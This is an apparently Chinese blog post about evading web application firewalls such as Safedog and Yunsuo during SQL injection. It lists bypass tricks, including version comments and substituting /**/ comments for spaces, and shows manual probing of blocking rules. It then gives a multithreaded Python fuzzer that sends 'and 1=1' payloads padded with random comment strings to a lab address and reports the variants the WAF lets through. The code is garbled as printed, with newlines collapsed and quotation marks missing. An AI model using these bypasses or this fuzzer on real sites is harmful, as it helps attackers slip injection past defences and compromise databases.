WAF自動化FUZZ腳本

幾周前答應表哥寫的文章,一直拖到現在了,我都有點臉紅。

想了會,滲透方面的是不可能的,聽說要被封號?

說一下WAF一般繞過的方法吧:

  1. 中間件特性
    1. iis會把某些ASCII字元解析為英文字母
    2. url注入
    3. 等等
  2. WAF一些設計缺陷:
    1. 雲鎖在檢測到POST有參數後就會放棄對GET的檢測,而GET方法在APACHE中高於POST。
    2. 安全狗以前在檢測到有#後會直接放棄檢測(在資料庫中#代表截斷本行),而我們進行換行後sql代碼依舊可以執行。
    3. 等等
    4. 改協議方法(GET->GESSS)
  3. 資料庫高級語句:
    1. 不舉例了(其實是我寫不出來)
  4. 版本評論:
    1. /*!50001關鍵字*/
  5. 替換空格:
    1. /**/
    2. /*ffasfa*/

簡單來說就這麼些,以上的方法,基本上都需要進行模糊測試(FUZZ)。

想要對waf進行模糊測試那必要的條件:

  1. 知道軟體攔截的規則

軟體的規則可以直接進行手工測試:

  1. and 1 -----> 不攔截
  2. and 1 = 1 ------>攔截
  3. and 1like 1 -->不攔截
  4. and = -------->不攔截
  5. and1=1 不攔截

上面就可以得出安全狗攔截的是 and 後面是否有空格(空格後面又是否有等於)。

所以我們就可以直接從空格動手腳,而/**/是最好的手段了。

這是一張safedog處理的流程圖。

可以從很多方面入手的,大家有什麼問題可以直接在評論區留言。

今天給的腳本是測試替換空格的,不多BB了,代碼如下:

# -*- coding:utf-8 -*-n# hope teamnnimport randomnimport requestsnimport Queuenimport threadingnnQ=Queue.Queue()nndef string(x,y):n seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@$%^&*()_+=-"n for i in range(x):n sa=.join([random.choice(seed) for x in range(y)])n Q.put(http://192.168.67.129/sql.php?sql=1/*%s*/and/*%s*/1=1% (sa,sa))nndef fuzz():n while not Q.empty():n try:n url=Q.get()n r=requests.get(url=url).textn if u網站防火牆 not in r:n print u[*] %s % (url)n except:n passnnif __name__ == __main__:n string(1000,20)n for i in range(20):n t=threading.Thread(target=fuzz)n t.start()n

直接修改第26行string的兩個參數就可以了。

第一個參數是需要生成多少組字元,第二個是每組字元中有幾個字元。

效果圖:

提示:

測試前請關閉WAF的CC攔截


推薦閱讀:

qkG勒索軟體:利用office漏洞自複製、文件加密
Satori殭屍網路事件分析:華為路由器0day漏洞(CVE-2017-17215)曝光
Google:微軟優先給Windows 10修漏洞,讓舊版本系統用戶陷入危險之中
解密:全球超過400個知名網站正在記錄你的每一個擊鍵過程
「周二補丁日」,微軟修復影響Windows系統的48個安全漏洞

TAG:信息安全 | 网络安全 | 数据安全 |